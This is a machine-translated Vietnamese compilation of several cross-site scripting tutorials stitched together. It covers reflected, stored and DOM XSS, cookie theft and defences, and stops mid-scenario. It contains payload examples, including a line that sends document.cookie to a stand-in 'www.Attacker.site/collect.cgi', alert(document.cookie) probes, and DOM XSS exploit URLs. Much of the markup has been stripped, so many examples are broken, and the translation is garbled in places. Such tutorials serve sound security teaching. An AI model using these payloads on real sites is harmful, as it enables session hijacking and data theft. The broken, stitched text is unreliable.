      • Các cuộc tấn công XSS trong DOM, trong đó lỗ hổng được khai thác bằng mã ở phía máy khách chứ không phải ở phía máy chủ.
    • Tất cả các cuộc tấn công này được thực hiện khác nhau nhưng có tác dụng như nhau nếu thành công.
    Tóm tắt: Ngăn chặn XSS
    • Cách quan trọng nhất để ngăn chặn các cuộc tấn công XSS là thực hiện xử lý đầu vào an toàn.
      • Việc mã hóa phải được thực hiện bất cứ khi nào tính năng nhập của người dùng được bật trên trang.
      • Trong một số trường hợp, việc mã hóa phải được thay thế hoặc bổ sung bằng việc xác nhận.
      • Xử lý đầu vào an toàn phải tính đến bối cảnh trang mà đầu vào của người dùng được chèn vào.
      • Để ngăn chặn tất cả các loại tấn công XSS, việc xử lý đầu vào an toàn phải được thực hiện ở cả mã phía máy khách và phía máy chủ.
    • Chính sách bảo mật nội dung (CSP) cung cấp một lớp bảo vệ bổ sung trong trường hợp quá trình xử lý đầu vào an toàn có lỗi.
    Phụ lục thuật ngữ

    Cần lưu ý rằng có sự trùng lặp trong thuật ngữ được sử dụng để mô tả XSS: một cuộc tấn công XSS trong DOM có thể được lưu trữ hoặc phản ánh; Đây không phải là các kiểu tấn công riêng biệt. Không có thuật ngữ được chấp nhận chung nào bao gồm tất cả các loại XSS mà không gây nhầm lẫn. Bất kể thuật ngữ được sử dụng để mô tả XSS là gì, điều quan trọng nhất là xác định loại tấn công, điều này có thể thực hiện được nếu bạn biết đầu vào độc hại đến từ đâu và vị trí của lỗ hổng.

    Quyền sử dụng và liên kết

    Mã nguồn cho XSS dư thừa có sẵn trên GitHub.

    XSS dư thừađược tạo ra vào năm 2013 như một phần của khóa học Bảo mật dựa trên ngôn ngữ tại Đại học Công nghệ Chalmers.

    Bản dịch sang tiếng Nga do A888R thực hiện, nguyên văn tiếng Anh: extra-xss.com, các nhận xét, góp ý và sai sót trong bản dịch xin gửi về đây.

    Bằng cách sử dụng XSS, những kẻ tấn công có kinh nghiệm sẽ tích hợp các tập lệnh chạy trên chúng vào các trang của trang web nạn nhân, được thực thi khi truy cập các tài nguyên bị nhiễm. Có một số loại lỗ hổng XSS có mức độ nghiêm trọng khác nhau.

    Đặc điểm của lỗ hổng thụ động và chủ động

    Bạn nên cẩn thận nhất khi xử lý các lỗ hổng đang hoạt động. Khi kẻ tấn công chèn mã SQL của mình vào cơ sở dữ liệu hoặc tệp có thể truy cập trên máy chủ, mọi khách truy cập vào tài nguyên bị nhiễm đều có thể trở thành nạn nhân. Những nơi như vậy thường được tích hợp, do đó, ngay cả dữ liệu được lưu trữ trong cơ sở dữ liệu, được xử lý bởi cơ chế bảo vệ của bạn, vẫn có thể gây ra một số nguy hiểm.

    Việc tạo ra lỗ hổng XSS thụ động đòi hỏi kẻ tấn công phải có sự khéo léo. Hoặc họ đang dụ bạn đến một tài nguyên giả mạo với đủ loại liên kết hoặc họ đang cố gắng chuyển hướng bạn đến trang web được yêu cầu bằng bất kỳ cách nào. Điều này thường xảy ra thông qua các lá thư từ ban quản trị hư cấu của trang bạn đang truy cập, yêu cầu bạn kiểm tra cài đặt tài khoản của mình. Nhiều thư hoặc bài đăng spam khác nhau trên các diễn đàn được truy cập rộng rãi cũng được sử dụng tích cực.

    Lỗ hổng XSS thụ động có thể đến từ cả tham số POST và GET. Cái trước được đặc trưng bởi một số thủ thuật khác nhau, trong khi cái sau được đặc trưng bằng cách mã hóa chuỗi URL hoặc chèn các giá trị bổ sung.

    Ăn cắp bánh quy

    Thông thường, Cookie của bạn sẽ trở thành mục tiêu của một cuộc tấn công XSS. Đôi khi chúng chứa thông tin có giá trị, bao gồm thông tin đăng nhập và mật khẩu của người dùng hoặc hàm băm của họ. Nhưng việc đánh cắp các phiên hoạt động của các trang web quan trọng đối với bạn cũng khá nguy hiểm, vì vậy đừng quên nhấp vào nút “thoát” ngay cả khi truy cập các trang web từ máy tính ở nhà của bạn. Mặc dù hầu hết các tài nguyên đều sử dụng giới hạn thời lượng phiên tự động để ngăn chặn những hành động như vậy. Các hạn chế về miền XMLHttpRequest không bảo vệ khỏi các cuộc tấn công như vậy.

    Dữ liệu từ các biểu mẫu đã hoàn thành

    Đọc thông tin ở dạng có thể điền cũng rất phổ biến. Để thực hiện việc này, việc theo dõi sự kiện (khi gửi) được thực hiện trên các trang quan tâm và tất cả dữ liệu được cung cấp cũng được gửi đến máy chủ của kẻ tấn công. Các cuộc tấn công như vậy về nhiều mặt tương tự như các cuộc tấn công lừa đảo, nhưng hành vi trộm cắp xảy ra không phải trên một trang giả mạo mà trên một trang web thực sự có danh tiếng tốt.

    Các cuộc tấn công DDoS phân tán

    Tài nguyên được truy cập nhiều lần cũng được sử dụng cho các cuộc tấn công XSS. Nhờ lỗ hổng XSS, các yêu cầu gửi đến chúng sẽ được chuyển hướng đến máy chủ bị tấn công, do đó khả năng bảo vệ của nó không thành công.

    Giả mạo yêu cầu trên nhiều trang web (CSRF/XSRF)

    Chúng cũng có ít điểm chung với XSS. Đây là một loại lỗ hổng riêng biệt được sử dụng kết hợp với XSS. Mục tiêu của họ là thu hút người dùng được ủy quyền từ một trang web không thể bị xâm phạm đến một trang giả mạo dễ bị tấn công để thực hiện các giao dịch gian lận. Ví dụ: một khách hàng sử dụng hệ thống thanh toán điện tử bị dụ dỗ đến một trang web dễ bị tấn công để chuyển tiền vào tài khoản của những kẻ tấn công. Do đó, hầu hết các hệ thống thanh toán đều cung cấp khả năng bảo vệ bằng cách nhập thêm mật khẩu hoặc mã xác nhận hoạt động.

    Tiêm sâu XSS

    Một cuộc tấn công XSS như vậy vào một trang web đã xuất hiện cùng với sự phát triển của các mạng xã hội nổi tiếng (VKontakte, Twitter và các mạng khác). Thông qua chúng, toàn bộ nhóm người dùng nhận được các liên kết XSS dễ bị tổn thương với các tập lệnh tích hợp thay mặt họ gửi thư rác trên các mạng. Việc sao chép đồng thời thông tin cá nhân và ảnh vào tài nguyên của kẻ tấn công cũng được thực hiện rộng rãi.

    Ví dụ về XSS vô hại

    Lưu ý rằng nhiều loại bộ đếm cũng hoạt động như XSS hoạt động. Họ truyền dữ liệu về khách truy cập đã đăng ký (địa chỉ IP của họ, dữ liệu về thiết bị được sử dụng).

    Chỉ có đoạn mã này mới được tích hợp vào máy tính theo ý muốn của bạn. XSS tương tự khác có thể dễ dàng bao gồm một số yêu cầu AJAX tên miền chéo.

    Ory Segal

    Tìm hiểu cách tin tặc sử dụng các cuộc tấn công kịch bản chéo trang, chúng gây (và không) gây thiệt hại gì, cách phát hiện chúng và cách bảo vệ trang Web của bạn cũng như khách truy cập khỏi các vi phạm bảo mật và quyền riêng tư độc hại này.

    Cross-site scripting (hay gọi tắt là XSS) là một trong những cuộc tấn công cấp ứng dụng phổ biến nhất mà tin tặc sử dụng để xâm phạm các ứng dụng Web. XSS là một cuộc tấn công vào quyền riêng tư của khách hàng trên một trang Web cụ thể. Nó có thể dẫn đến sự cố hoàn toàn của hệ thống bảo mật khi dữ liệu khách hàng bị đánh cắp và sử dụng trong tương lai cho mục đích nào đó. Hầu hết các cuộc tấn công đều liên quan đến hai bên: kẻ tấn công và trang Web hoặc kẻ tấn công và khách hàng nạn nhân. Tuy nhiên, một cuộc tấn công XSS có sự tham gia của ba bên: kẻ tấn công, khách hàng và trang Web.

    Mục tiêu của cuộc tấn công XSS là đánh cắp cookie hoặc thông tin nhạy cảm khác từ máy tính của khách hàng có thể nhận dạng khách hàng trên một trang Web. Có thông tin để xác định anh ta là người dùng hợp pháp, kẻ tấn công có thể hành động trên trang web với tư cách là một người dùng như vậy, tức là. giả vờ là anh ấy. Ví dụ: trong một cuộc kiểm tra được thực hiện tại một công ty lớn, có thể lấy được thông tin cá nhân và số thẻ tín dụng của người dùng bằng cách sử dụng cuộc tấn công XSS. Điều này đạt được bằng cách chạy mã JavaScript tùy chỉnh. Mã này được thực thi trong trình duyệt của nạn nhân (khách hàng), người có đặc quyền truy cập vào trang Web. Có một số đặc quyền JavaScript rất hạn chế không cấp cho tập lệnh quyền truy cập vào bất kỳ thứ gì ngoài thông tin dành riêng cho trang web. Điều quan trọng cần nhấn mạnh là mặc dù lỗ hổng tồn tại trên trang Web nhưng bản thân trang Web không bị hư hại trực tiếp. Nhưng điều này là đủ để tập lệnh thu thập cookie và gửi chúng cho kẻ tấn công. Kết quả là kẻ tấn công nhận được dữ liệu cần thiết và có thể bắt chước nạn nhân.

    Hãy đặt tên cho trang web bị tấn công như sau: www.vulnerable.site. Cuộc tấn công XSS truyền thống dựa vào tập lệnh dễ bị tấn công nằm trên một trang web dễ bị tấn công. Tập lệnh này đọc một phần của yêu cầu HTTP (thường là tham số, nhưng đôi khi cũng có tiêu đề hoặc đường dẫn HTTP) và lặp lại nó cho trang phản hồi, tất cả hoặc chỉ một phần. Việc này không làm sạch yêu cầu (tức là nó không kiểm tra xem yêu cầu đó có chứa mã JavaScript hoặc thẻ HTML hay không). Giả sử tập lệnh này được gọi là Welcome.cgi và tham số của nó là tên. Nó có thể được sử dụng như thế này:

    Làm thế nào điều này có thể bị lạm dụng? Kẻ tấn công phải có khả năng dụ khách hàng (nạn nhân) nhấp vào liên kết mà kẻ tấn công cung cấp cho họ. Đây là một liên kết được tạo ra một cách cẩn thận và độc hại nhằm khiến trình duyệt Web của nạn nhân truy cập vào một trang web (www.vulnerable.site) và thực thi một tập lệnh dễ bị tấn công. Dữ liệu cho tập lệnh này chứa mã JavaScript truy cập vào các cookie được trình duyệt của khách hàng lưu trữ cho trang web www.vulnerable.site. Điều này được cho phép vì trình duyệt của khách hàng "nghĩ" mã JavaScript đến từ www.vulnerable.site. Và mô hình bảo mật JavaScript cho phép các tập lệnh có nguồn gốc từ một trang web cụ thể truy cập các cookie thuộc về trang web đó.

    Phản hồi từ trang web dễ bị tấn công sẽ như sau:

    Chào mừng! Xin chào cảnh báo(document.cookie)

    Chào mừng đến với hệ thống của chúng tôi...

    Trình duyệt của nạn nhân diễn giải yêu cầu này dưới dạng một trang HTML chứa một đoạn mã JavaScript. Mã này, khi được thực thi, sẽ có quyền truy cập vào tất cả các cookie thuộc trang web www.vulnerable.site. Do đó, nó sẽ tạo ra một cửa sổ bật lên trong trình duyệt hiển thị tất cả cookie của khách hàng có liên quan đến www.vulnerable.site.

    Tất nhiên, một cuộc tấn công thực sự sẽ liên quan đến việc gửi những tệp này cho kẻ tấn công. Để làm điều này, kẻ tấn công có thể tạo một trang Web (www.Attacker.site) và sử dụng tập lệnh để nhận cookie. Thay vì gọi một cửa sổ bật lên, kẻ tấn công sẽ viết mã truy cập URL tới www.Attacker.site. Về vấn đề này, một tập lệnh được thực thi để lấy cookie. Tham số cho tập lệnh này là cookie bị đánh cắp. Do đó, kẻ tấn công có thể lấy cookie từ máy chủ www.Attacker.site.

    Ngay sau khi tải trang này, trình duyệt sẽ thực thi mã JavaScript được chèn ở đó và chuyển tiếp yêu cầu tới tập lệnh Collect.cgi trên www.Attacker.site cùng với giá trị của cookie từ www.vulnerable.site mà trình duyệt đã có. Điều này làm suy yếu tính bảo mật của cookie www.vulnerable.site mà khách hàng có. Điều này cho phép kẻ tấn công giả vờ là nạn nhân. Tính bảo mật của khách hàng bị vi phạm hoàn toàn.

    Ghi chú.
    Thông thường, việc gọi một cửa sổ bật lên bằng JavaScript là đủ để chứng minh lỗ hổng của trang web trước một cuộc tấn công XSS. Nếu bạn có thể gọi hàm Cảnh báo từ JavaScript thì thường không có lý do gì khiến cuộc gọi không thành công. Đây là lý do tại sao hầu hết các ví dụ về tấn công XSS đều sử dụng chức năng Cảnh báo, chức năng này giúp xác định sự thành công của cuộc tấn công rất dễ dàng.

    Cuộc tấn công chỉ có thể xảy ra trong trình duyệt của nạn nhân, chính trình duyệt được sử dụng để truy cập trang web (www.vulnerable.site). Kẻ tấn công phải buộc khách hàng truy cập vào liên kết độc hại. Điều này có thể đạt được bằng nhiều cách.

    • Kẻ tấn công gửi một email chứa trang HTML nhằm đánh lừa trình duyệt mở một liên kết. Điều này yêu cầu nạn nhân phải sử dụng ứng dụng email có thể xử lý HTML. Và trình xem HTML trên máy khách phải có cùng trình duyệt được sử dụng để truy cập www.vulnerable.site.
    • Khách hàng truy cập một trang web, có thể do kẻ tấn công tạo, trong đó liên kết đến hình ảnh hoặc phần tử HTML có thể nhấp khác sẽ khiến trình duyệt mở liên kết. Một lần nữa, trong trường hợp này, bắt buộc phải sử dụng cùng một trình duyệt để truy cập cả trang này và trang www.vulnerable.site.

    Mã JavaScript độc hại có thể truy cập bất kỳ thông tin nào sau đây:

    • cookie liên tục (của trang web www.vulnerable.site), được trình duyệt lưu trữ;
    • cookie trong bộ nhớ (của trang web www.vulnerable.site), chỉ được phiên bản trình duyệt hỗ trợ khi xem trang web www.vulnerable.site;
    • tên của các cửa sổ khác mở cho trang www.vulnerable.site.
    • bất kỳ thông tin nào có sẵn thông qua DOM hiện tại (từ các giá trị, mã HTML, v.v.).

    Dữ liệu nhận dạng, ủy quyền và xác thực thường được lưu trữ dưới dạng cookie. Nếu những cookie này tồn tại lâu dài thì nạn nhân rất dễ bị tấn công ngay cả khi anh ta không sử dụng trình duyệt khi truy cập www.vulnerable.site. Tuy nhiên, nếu cookie là tạm thời (ví dụ: chúng được lưu trữ trong RAM), thì về phía máy khách phải có phiên với trang web www.vulnerable.site.

    Một triển khai khả thi khác của nhãn nhận dạng là tham số URL. Trong những trường hợp như vậy, bạn có thể truy cập các cửa sổ khác bằng JavaScript như sau (giả sử tên của trang có tham số URL mong muốn là foobar):

    var Nạn nhân_window=open(","foobar");alert("Có thể truy cập:

    " +victim_window.location.search)

    Để chạy tập lệnh JavaScript, bạn có thể sử dụng nhiều thẻ HTML khác ngoài . Trên thực tế, cũng có thể đặt mã JavaScript độc hại trên một máy chủ khác rồi lừa khách hàng tải tập lệnh xuống và thực thi nó. Điều này có thể hữu ích nếu bạn cần chạy một lượng lớn mã hoặc nếu mã chứa các ký tự đặc biệt.

    Dưới đây là một số biến thể của những khả năng này.

    • Thay vì ... tin tặc có thể sử dụng tệp . Điều này phù hợp với các trang web lọc thẻ HTML.
    • Thay vì ... bạn có thể sử dụng cấu trúc . Điều này hữu ích trong trường hợp mã JavaScript quá dài hoặc nếu nó chứa các ký tự không hợp lệ.

    Đôi khi dữ liệu được nhúng trong trang phản hồi nằm trong ngữ cảnh HTML trả phí. Trong trường hợp này, trước tiên bạn cần phải "thoát" sang bối cảnh tự do, sau đó thực hiện một cuộc tấn công XSS. Ví dụ: nếu dữ liệu được chèn làm giá trị mặc định cho trường biểu mẫu HTML:

    Và mã HTML kết quả sẽ như sau:

    window.open

    ("http://www.Attacker.site/collect.cgi?cookie="+document.cookie)">

    Cho đến nay chúng ta đã thấy rằng một cuộc tấn công XSS có thể xảy ra trong tham số yêu cầu GET mà tập lệnh phản hồi. Tuy nhiên, cuộc tấn công cũng có thể được thực hiện bằng cách sử dụng yêu cầu POST hoặc sử dụng thành phần đường dẫn yêu cầu HTTP và thậm chí sử dụng một số tiêu đề HTTP (ví dụ: Người giới thiệu).

    Đặc biệt, thành phần đường dẫn rất hữu ích khi trang lỗi trả về đường dẫn không hợp lệ. Trong trường hợp này, việc đưa một tập lệnh độc hại vào đường dẫn thường sẽ khiến tập lệnh đó được thực thi. Nhiều máy chủ Web dễ bị tấn công bởi kiểu tấn công này.

    Điều quan trọng cần hiểu là mặc dù trang Web không bị ảnh hưởng trực tiếp bởi cuộc tấn công này (nó vẫn tiếp tục hoạt động bình thường, không có mã độc nào được thực thi trên đó, không có cuộc tấn công DoS nào xảy ra và dữ liệu từ trang web không được đọc hoặc giả mạo trực tiếp) , đây vẫn là hành vi vi phạm hệ thống bảo mật mà trang web cung cấp cho khách hàng hoặc khách truy cập. Điều này tương tự như một trang web được sử dụng để triển khai một ứng dụng có nhãn bảo mật yếu. Vì điều này, kẻ tấn công có thể đoán nhãn bảo mật của khách hàng và giả vờ là anh ta (hoặc cô ta).

    Điểm yếu của ứng dụng là tập lệnh trả về tham số của nó bất kể giá trị của nó. Một tập lệnh tốt phải đảm bảo rằng tham số có định dạng đúng, nó chứa các ký tự được chấp nhận, v.v. Thông thường không có lý do gì để tham số chính xác phải chứa thẻ HTML hoặc mã JavaScript. Chúng phải được loại bỏ khỏi tham số trước khi nó có thể được đưa vào phản hồi hoặc được sử dụng trong ứng dụng. Điều này sẽ đảm bảo an toàn.

    Có ba cách để bảo vệ trang web của bạn khỏi các cuộc tấn công XSS.

  • Bằng cách thực hiện quá trình lọc dữ liệu đầu vào của riêng bạn (đôi khi được gọi là dọn dẹp đầu vào). Đối với mọi đầu vào của người dùng (có thể là tham số hoặc tiêu đề HTML), mọi tập lệnh tự viết phải sử dụng tính năng lọc nâng cao đối với các thẻ HTML, bao gồm cả mã JavaScript. Ví dụ: tập lệnh Welcome.cgi từ ví dụ trước sẽ lọc thẻ sau khi giải mã tham số tên. Phương pháp này có một số nhược điểm nghiêm trọng.
    • Nó đòi hỏi người lập trình ứng dụng phải có kiến ​​thức tốt về công nghệ bảo mật.
    • Nó yêu cầu lập trình viên phải bao gồm tất cả các nguồn dữ liệu đầu vào có thể có (tham số yêu cầu, tham số nội dung yêu cầu POST, tiêu đề HTTP).
    • Nó không thể bảo vệ khỏi các lỗ hổng trong tập lệnh hoặc máy chủ của bên thứ ba. Ví dụ: nó sẽ không bảo vệ khỏi các sự cố trong các trang lỗi trên máy chủ Web (hiển thị đường dẫn nguồn).
  • Thực hiện "lọc đầu ra", tức là lọc dữ liệu người dùng khi nó được gửi trở lại trình duyệt chứ không phải khi tập lệnh nhận được. Một ví dụ điển hình cho cách tiếp cận này là một tập lệnh chèn dữ liệu vào cơ sở dữ liệu và sau đó hiển thị nó. Trong trường hợp này, điều quan trọng là không áp dụng bộ lọc cho chuỗi đầu vào ban đầu mà chỉ áp dụng cho phiên bản đầu ra. Nhược điểm của phương pháp này tương tự như nhược điểm của lọc đầu vào.
  • Cài đặt tường lửa ứng dụng của bên thứ ba (tường lửa). Màn hình này chặn các cuộc tấn công XSS trước khi chúng tiếp cận máy chủ Web và các tập lệnh dễ bị tấn công và chặn chúng. Tường lửa ứng dụng có thể bao gồm tất cả các phương thức nhập bằng cách xử lý chúng theo cách chung (bao gồm đường dẫn và tiêu đề HTTP), bất kể tập lệnh hoặc đường dẫn từ ứng dụng gốc, tập lệnh của bên thứ ba hoặc tập lệnh không mô tả bất kỳ tài nguyên nào tại tất cả (ví dụ: một trang được thiết kế để kích hoạt trang phản hồi 404 từ máy chủ). Đối với mỗi nguồn đầu vào, tường lửa ứng dụng sẽ kiểm tra dữ liệu để tìm các mẫu thẻ HTML và mã JavaScript khác nhau. Nếu có bất kỳ kết quả trùng khớp nào, yêu cầu sẽ bị chặn và dữ liệu độc hại sẽ không đến được máy chủ.
  • Kết luận hợp lý của việc bảo vệ một trang web là kiểm tra tính bảo mật của nó trước các cuộc tấn công XSS. Giống như bảo vệ một trang web khỏi XSS, việc kiểm tra mức độ bảo vệ có thể được thực hiện thủ công (theo cách khó) hoặc sử dụng công cụ tự động để đánh giá lỗ hổng của ứng dụng Web. Công cụ này sẽ giúp bạn giảm bớt gánh nặng xác minh. Chương trình này di chuyển xung quanh trang web và chạy tất cả các tùy chọn mà nó biết đối với tất cả các tập lệnh mà nó phát hiện được. Điều này sẽ thử tất cả các tham số, tiêu đề và đường dẫn. Trong cả hai phương pháp, mọi đầu vào vào ứng dụng (tham số của tất cả tập lệnh, tiêu đề HTTP, đường dẫn) đều được kiểm tra với nhiều tùy chọn nhất có thể. Và nếu trang phản hồi chứa mã JavaScript trong ngữ cảnh mà trình duyệt có thể thực thi mã đó thì thông báo về lỗ hổng XSS sẽ xuất hiện. Ví dụ: khi gửi văn bản sau:

    cảnh báo(document.cookie)

    Đối với mỗi tham số của từng tập lệnh (thông qua trình duyệt có khả năng JavaScript để phát hiện dạng lỗ hổng XSS đơn giản nhất), trình duyệt sẽ đưa ra cửa sổ Cảnh báo JavaScript nếu văn bản được hiểu là mã JavaScript. Tất nhiên, có một số lựa chọn. Vì vậy, chỉ thử nghiệm tùy chọn này là không đủ. Và như bạn đã học, bạn có thể chèn mã JavaScript vào các trường yêu cầu khác nhau: tham số, tiêu đề HTTP và đường dẫn. Tuy nhiên, trong một số trường hợp (đặc biệt là với tiêu đề HTTP Referenceer), việc thực hiện tấn công bằng trình duyệt là bất tiện.

    Cross-site scripting là một trong những cuộc tấn công cấp ứng dụng phổ biến nhất mà tin tặc sử dụng để xâm phạm các ứng dụng Web. Nó cũng là nguy hiểm nhất. Đây là một cuộc tấn công vào quyền riêng tư của khách hàng của một trang Web cụ thể. Nó có thể dẫn đến phá hủy hoàn toàn hệ thống bảo mật khi dữ liệu khách hàng bị đánh cắp và sử dụng trong tương lai cho mục đích nào đó. Thật không may, như bài viết này giải thích, điều này thường được thực hiện mà khách hàng hoặc tổ chức đang bị tấn công mà không hề biết.

    Để ngăn chặn các trang Web dễ bị tổn thương bởi các hoạt động độc hại này, điều quan trọng là tổ chức phải thực hiện cả chiến lược bảo mật trực tuyến và ngoại tuyến. Điều này bao gồm một trình kiểm tra lỗ hổng bảo mật tự động có thể kiểm tra tất cả các lỗ hổng đã biết của các trang Web và các ứng dụng cụ thể (chẳng hạn như tập lệnh chéo trang) trên một trang web. Để bảo vệ trực tuyến hoàn toàn, điều quan trọng là phải cài đặt tường lửa có thể phát hiện và chặn mọi loại thao tác mã và dữ liệu nằm trên hoặc phía sau các máy chủ Web.

    Tập lệnh chéo trang (XSS) là một lỗ hổng liên quan đến việc chèn mã phía máy khách (JavaScript) vào trang web mà người dùng khác đang xem.

    Lỗ hổng này xảy ra do việc lọc dữ liệu mà người dùng gửi để chèn vào trang web không được lọc đầy đủ. Sẽ dễ hiểu hơn nhiều với một ví dụ cụ thể. Ghi nhớ bất kỳ sổ khách nào - đây là những chương trình được thiết kế để chấp nhận dữ liệu từ người dùng và sau đó hiển thị nó. Hãy tưởng tượng rằng sổ khách không kiểm tra hoặc lọc dữ liệu đã nhập theo bất kỳ cách nào mà chỉ hiển thị chúng.

    Bạn có thể phác thảo tập lệnh đơn giản nhất của mình (không có gì dễ dàng hơn việc viết các tập lệnh xấu bằng PHP - nhiều người làm điều này). Nhưng đã có rất nhiều lựa chọn làm sẵn. Ví dụ: tôi khuyên bạn nên bắt đầu với Dojo và OWASP Mutillidae II. Có một ví dụ tương tự ở đó. Trong môi trường Dojo độc lập, hãy truy cập liên kết này trong trình duyệt của bạn: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Nếu một trong những người dùng đã nhập:

    Khi đó trang web sẽ hiển thị:

    Xin chào! Tôi thích trang web của bạn.

    Và nếu người dùng nhập vào đây:

    Xin chào! Tôi thích site.alert("Pwned") của bạn

    Sau đó nó sẽ được hiển thị như thế này:

    Trình duyệt lưu trữ nhiều cookie cho một số lượng lớn các trang web. Mỗi trang web chỉ có thể nhận các cookie được lưu bởi chính nó. Ví dụ: example.com đã lưu trữ một số cookie trong trình duyệt của bạn. Nếu bạn truy cập another.com, trang web này (tập lệnh máy khách và máy chủ) không thể truy cập các cookie mà example.com đã lưu trữ.

    Nếu example.com dễ bị XSS tấn công, điều đó có nghĩa là bằng cách nào đó chúng tôi có thể đưa mã JavaScript vào đó và mã đó sẽ được thực thi thay mặt cho example.com! Những thứ kia. Ví dụ: mã này sẽ có quyền truy cập vào cookie của example.com.

    Tôi nghĩ mọi người đều nhớ rằng JavaScript được thực thi trong trình duyệt của người dùng, tức là. với sự hiện diện của XSS, mã độc được nhúng sẽ có quyền truy cập vào dữ liệu của người dùng đã mở trang web.

    Mã nhúng có thể làm mọi thứ mà JavaScript có thể làm, cụ thể là:

    • có quyền truy cập vào cookie của trang web bạn đang xem
    • có thể thực hiện bất kỳ thay đổi nào đối với giao diện của trang
    • truy cập clipboard
    • có thể triển khai các chương trình JavaScript, ví dụ: keylogger (chặn chặn thao tác gõ phím)
    • chọn BeEF
    • và vân vân.

    Ví dụ đơn giản nhất với cookie:

    cảnh báo(document.cookie)

    Trên thực tế, cảnh báo chỉ được sử dụng để phát hiện XSS. Tải trọng độc hại thực sự thực hiện các hành động ẩn. Nó bí mật liên lạc với máy chủ từ xa của kẻ tấn công và chuyển dữ liệu bị đánh cắp đến đó.

    Các loại XSS

    Điều quan trọng nhất cần hiểu về các loại XSS là chúng:

    • Đã lưu trữ (Vĩnh viễn)
    • Phản ánh (Không vĩnh viễn)

    Ví dụ về hằng số:

    • Một thông báo được tạo đặc biệt do kẻ tấn công nhập vào sổ khách (bình luận, tin nhắn diễn đàn, hồ sơ), được lưu trên máy chủ, sẽ được tải xuống từ máy chủ mỗi khi người dùng yêu cầu hiển thị trang này.
    • Kẻ tấn công đã giành được quyền truy cập vào dữ liệu máy chủ, chẳng hạn như thông qua việc tiêm SQL và đưa mã JavaScript độc hại (với kilologger hoặc BeEF) vào dữ liệu được cung cấp cho người dùng.

    Ví dụ về những cái không cố định:

    • Có một tìm kiếm trên trang web, cùng với kết quả tìm kiếm, hiển thị nội dung như “Bạn đã tìm kiếm: [chuỗi tìm kiếm]” và dữ liệu không được lọc đúng cách. Vì một trang như vậy chỉ được hiển thị cho người có liên kết đến nó nên cuộc tấn công sẽ không hoạt động cho đến khi kẻ tấn công gửi liên kết đến những người dùng khác của trang web. Thay vì gửi liên kết đến nạn nhân, bạn có thể sử dụng cách đặt tập lệnh độc hại trên một trang web trung lập mà nạn nhân truy cập.

    Họ cũng phân biệt (một số là một loại lỗ hổng XSS không liên tục, một số cho rằng loại này cũng có thể là một loại XSS liên tục):

    • mô hình DOM
    Các tính năng của XSS dựa trên DOM

    Nói một cách rất đơn giản, chúng ta có thể thấy mã độc XSS “thông thường” không liên tục nếu mở mã HTML. Ví dụ: liên kết được hình thành như thế này:

    Http://example.com/search.php?q="/>alert(1)

    Và khi chúng tôi mở mã HTML nguồn, chúng tôi thấy một cái gì đó như thế này:

    cảnh báo(1)" /> Tìm

    Và DOM XSS thay đổi cấu trúc DOM, được hình thành trong trình duyệt một cách nhanh chóng và chúng ta chỉ có thể thấy mã độc khi xem cấu trúc DOM được tạo. HTML không thay đổi. Hãy lấy mã này làm ví dụ:

    site:::DOM XSS Đã xảy ra lỗi... function OnLoad() ( var FoundFrag = get_fragment(); return FoundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (kết quả) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( trả về null; ) ) display_session = OnLoad(); document.write("ID phiên của bạn là: " + display_session + "

    ")

    Sau đó trên trình duyệt chúng ta sẽ thấy:

    Mã nguồn trang:

    Hãy tạo địa chỉ như thế này:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Bây giờ trang trông như thế này:

    Nhưng chúng ta hãy xem mã nguồn HTML:

    Không có gì thay đổi ở đó cả. Đây chính là điều tôi đang nói đến, chúng ta cần nhìn vào cấu trúc DOM của tài liệu để xác định mã độc:

    Đây là một nguyên mẫu XSS đang hoạt động, để tấn công thực sự, chúng ta cần một tải trọng phức tạp hơn, điều này là không thể do ứng dụng ngừng đọc ngay sau dấu chấm phẩy và những thứ như cảnh báo (1); cảnh báo (2) thì không lâu hơn có thể. Tuy nhiên, nhờ unescape() chúng ta có thể sử dụng tải trọng như thế này trong dữ liệu trả về:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Nơi chúng tôi thay thế biểu tượng ; tương đương với mã hóa URI!

    Bây giờ chúng ta có thể viết một tải trọng JavaScript độc hại và soạn một liên kết để gửi cho nạn nhân, như được thực hiện đối với tập lệnh chéo trang không liên tục tiêu chuẩn.

    Kiểm toán viên XSS

    Trong Google Chrome (và cả trong Opera, hiện sử dụng công cụ Google Chrome), điều ngạc nhiên này đang chờ đợi tôi:

    dom_xss.html:30 Trình kiểm tra XSS từ chối thực thi tập lệnh trong "http://localhost/tests/XSS/dom_xss.html#input=token‹script>

    Những thứ kia. trình duyệt hiện có trình kiểm tra XSS sẽ cố gắng ngăn chặn XSS. Firefox chưa có chức năng này nhưng tôi nghĩ đó chỉ là vấn đề thời gian. Nếu việc triển khai trên trình duyệt thành công thì chúng ta có thể nói về một khó khăn đáng kể khi sử dụng XSS.

    Bạn nên nhớ rằng các trình duyệt hiện đại đang thực hiện các bước nhằm hạn chế mức độ của các vấn đề lợi dụng như XSS không liên tục và XSS dựa trên DOM. Đây cũng là điều cần nhớ khi kiểm tra các trang web bằng trình duyệt - có thể ứng dụng web đó dễ bị tấn công nhưng bạn không thấy xác nhận bật lên chỉ vì trình duyệt đang chặn nó.

    Ví dụ khai thác XSS

    Những kẻ tấn công có ý định khai thác các lỗ hổng kịch bản chéo trang phải tiếp cận từng lớp lỗ hổng một cách khác nhau. Các vectơ tấn công cho mỗi lớp được mô tả ở đây.

    Đối với lỗ hổng XSS, các cuộc tấn công có thể sử dụng BeEF, mở rộng cuộc tấn công từ trang web đến môi trường cục bộ của người dùng.

    Ví dụ về một cuộc tấn công XSS không liên tục

    1. Alice thường xuyên truy cập một trang web nhất định do Bob lưu trữ. Trang web của Bob cho phép Alice đăng nhập bằng tên người dùng/mật khẩu và lưu trữ dữ liệu nhạy cảm như thông tin thanh toán. Khi người dùng đăng nhập, trình duyệt sẽ lưu trữ các cookie ủy quyền, trông giống như các ký tự vô nghĩa, tức là. cả hai máy tính (máy khách và máy chủ) đều nhớ rằng cô ấy đã nhập.

    2. Mallory lưu ý rằng trang web của Bob có chứa lỗ hổng XSS không liên tục:

